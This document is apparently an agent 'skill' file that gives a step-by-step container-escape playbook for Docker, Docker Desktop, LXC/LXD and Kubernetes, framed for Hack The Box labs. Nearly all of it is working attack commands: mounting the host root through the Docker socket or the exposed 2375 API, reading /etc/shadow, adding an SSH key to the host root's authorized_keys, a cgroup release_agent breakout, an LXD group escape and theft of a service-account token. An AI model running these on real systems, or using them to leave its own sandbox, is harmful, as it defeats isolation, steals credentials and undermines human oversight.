Container Escapes

---
name: container-escapes
description: |
  This skill covers container escape techniques for Docker, LXC/LXD, and
  Kubernetes environments. Includes Docker socket escape, Docker Desktop
  API escape (192.168.65.7:2375), privileged container breakout, and
  capability-based escapes.
---

# Container Escape Techniques

## Overview
When you gain access inside a container, escaping to the host is often the path to root. This skill covers detection methods and escape techniques for various container environments.

## Container Detection

### Am I in a Container?

```bash
# Check for .dockerenv file
ls -la /.dockerenv

# Check cgroup
cat /proc/1/cgroup | grep -E "docker|lxc|kubepods"

# Check for container-specific environment
env | grep -i docker
env | grep -i kubernetes

# Hostname often reveals container ID
hostname
# Docker containers often have 12-char hex hostnames like "821fbd6a43fa"

# Check mount points
mount | grep -E "overlay|aufs"

# Check for limited process list
ps aux | wc -l
# Containers typically have very few processes
```

### Container Type Detection

```bash
# Docker
cat /proc/1/cgroup | grep docker
ls /.dockerenv

# LXC/LXD
cat /proc/1/cgroup | grep lxc
ls /dev/lxd

# Kubernetes
ls /var/run/secrets/kubernetes.io
env | grep KUBERNETES

# Podman
cat /proc/1/cgroup | grep libpod
```

## Docker Socket Escape

### Detection
```bash
# Check if Docker socket is mounted
ls -la /var/run/docker.sock

# Test access
curl -s --unix-socket /var/run/docker.sock http://localhost/version
```

### Exploitation
```bash
# List containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq

# Create privileged container with host filesystem
curl -s -X POST --unix-socket /var/run/docker.sock \
    -H "Content-Type: application/json" \
    http://localhost/containers/create \
    -d '{
        "Image": "alpine",
        "Cmd": ["/bin/sh"],
        "HostConfig": {
            "Binds": ["/:/host"],
            "Privileged": true
        }
    }'

# Start container (use ID from previous response)
curl -s -X POST --unix-socket /var/run/docker.sock \
    http://localhost/containers/<CONTAINER_ID>/start

# Run command in container
curl -s -X POST --unix-socket /var/run/docker.sock \
    -H "Content-Type: application/json" \
    http://localhost/containers/<CONTAINER_ID>/attach?stream=1&stdin=1&stdout=1&stderr=1
```

### One-Liner Escape
```bash
# Create and run privileged container, add SSH key to host
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine \
    sh -c 'echo "YOUR_SSH_KEY" >> /host/root/.ssh/authorized_keys'
```

## Docker Desktop API Escape (Critical for HTB)

### Background
Docker Desktop on Windows/Mac exposes an API on a special internal network. From inside a container, you can reach this API and escape to the host.

### Detection
```bash
# Probe Docker Desktop API endpoints
curl -s http://192.168.65.7:2375/version
curl -s http://host.docker.internal:2375/version
curl -s http://172.17.0.1:2375/version

# Scan for Docker API in common ranges
for ip in 192.168.65.{1..10} 172.17.0.1 172.18.0.1; do
    curl -s -m 1 http://$ip:2375/version 2>/dev/null && echo "Found: $ip"
done
```

### Exploitation (CVE-2025-9074 Pattern)

#### Step 1: Verify API Access
```bash
curl -s http://192.168.65.7:2375/version
# Should return Docker version info
```

#### Step 2: List Available Images
```bash
curl -s http://192.168.65.7:2375/images/json | jq '.[].RepoTags'
```

#### Step 3: Create Privileged Container with Host Mount
```bash
curl -s -X POST http://192.168.65.7:2375/containers/create \
    -H "Content-Type: application/json" \
    -d '{
        "Image": "alpine",
        "Cmd": ["/bin/sh"],
        "Tty": true,
        "HostConfig": {
            "Binds": ["/:/host"],
            "Privileged": true
        }
    }'
# Note the container ID from response
```

#### Step 4: Start the Container
```bash
curl -s -X POST http://192.168.65.7:2375/containers/<ID>/start
```

#### Step 5: Run Commands on Host
```bash
# Create an execution instance
curl -s -X POST http://192.168.65.7:2375/containers/<ID>/exec \
    -H "Content-Type: application/json" \
    -d '{
        "Cmd": ["cat", "/host/etc/shadow"],
        "AttachStdout": true,
        "AttachStderr": true
    }'
# Get exec ID from response

# Start the execution
curl -s -X POST http://192.168.65.7:2375/exec/<EXEC_ID>/start \
    -H "Content-Type: application/json" \
    -d '{"Detach": false, "Tty": false}'
```

### Windows Host Access (Docker Desktop on Windows)
When Docker Desktop runs on Windows, the host filesystem is mounted at `/host/mnt/host/c`:

```bash
# Read Windows files
curl -X POST http://192.168.65.7:2375/containers/<ID>/exec \
    -H "Content-Type: application/json" \
    -d '{"Cmd": ["cat", "/host/mnt/host/c/Users/Administrator/Desktop/root.txt"], "AttachStdout": true}'

# List Windows directories
curl -X POST http://192.168.65.7:2375/containers/<ID>/exec \
    -H "Content-Type: application/json" \
    -d '{"Cmd": ["ls", "-la", "/host/mnt/host/c/Users/"], "AttachStdout": true}'
```

## Privileged Container Escape

### Detection
```bash
# Check capabilities
cat /proc/1/status | grep Cap
capsh --print

# Check if privileged
cat /proc/1/cgroup
fdisk -l  # Can list host disks if privileged
```

### Exploitation via Host Disk Mount
```bash
# List disks
fdisk -l

# Mount host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Access host filesystem
ls /mnt/host
cat /mnt/host/etc/shadow
```

### Exploitation via cgroups (notify_on_release)
```bash
# Find writable cgroup
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release

# Get host path
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

# Write payload
echo "$t/cmd" > $d/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $t/out" >> /cmd
chmod +x /cmd

# Trigger
sh -c "echo \$\$ > $d/w/cgroup.procs"
cat /out
```

## Capability-Based Escapes

### CAP_SYS_ADMIN
```bash
# Check for CAP_SYS_ADMIN
capsh --print | grep sys_admin

# Mount host filesystem
mount -t ext4 /dev/sda1 /mnt
```

### CAP_SYS_PTRACE
```bash
# Inject into host processes
# Check for processes with host PID namespace
ls -la /proc/*/root
```

### CAP_NET_ADMIN
```bash
# Create network namespace escape
# Manipulate iptables to access host network
```

## LXC/LXD Escape

### Detection
```bash
# Check for LXD socket
ls -la /var/snap/lxd/common/lxd/unix.socket
ls -la /var/lib/lxd/unix.socket

# Check group membership
id
groups  # Look for 'lxd' group
```

### Exploitation (if lxd group member)
```bash
# Initialize LXD if needed
lxd init --auto

# Import image
lxc image import ./alpine.tar.gz --alias myimage

# Create container with host mount
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root

# Start and access
lxc start mycontainer
lxc exec mycontainer /bin/sh

# Inside container
cat /mnt/root/etc/shadow
```

## Kubernetes Escapes

### Service Account Token Abuse
```bash
# Get service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Get API server
env | grep KUBERNETES

# Query API
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
    https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces
```

### Node Access via hostPath
```bash
# If pod has hostPath mount, access node filesystem
ls /host
```

## Quick Detection Script

```bash
#!/bin/bash
echo "[*] Container Escape Detection"

echo "[*] Checking container type..."
if [ -f /.dockerenv ]; then echo "[+] Docker container"; fi
if grep -q docker /proc/1/cgroup 2>/dev/null; then echo "[+] Docker (cgroup)"; fi
if grep -q lxc /proc/1/cgroup 2>/dev/null; then echo "[+] LXC container"; fi
if [ -d /var/run/secrets/kubernetes.io ]; then echo "[+] Kubernetes pod"; fi

echo "[*] Checking escape vectors..."
if [ -S /var/run/docker.sock ]; then echo "[!] Docker socket available!"; fi
if curl -s -m 1 http://192.168.65.7:2375/version >/dev/null 2>&1; then echo "[!] Docker Desktop API exposed!"; fi
if capsh --print 2>/dev/null | grep -q sys_admin; then echo "[!] CAP_SYS_ADMIN available!"; fi
if fdisk -l >/dev/null 2>&1; then echo "[!] Can access block devices (privileged?)"; fi
if [ -S /var/snap/lxd/common/lxd/unix.socket ]; then echo "[!] LXD socket available!"; fi

echo "[*] Network reconnaissance..."
for ip in 192.168.65.7 172.17.0.1 172.18.0.1; do
    if curl -s -m 1 http://$ip:2375/version >/dev/null 2>&1; then
        echo "[!] Docker API at $ip:2375"
    fi
done
```

## Related Skills
- `linux-privesc` - Host privilege escalation after escape
- `credential-hunting` - Finding credentials in container configs
- `common-exploits` - Other exploitation techniques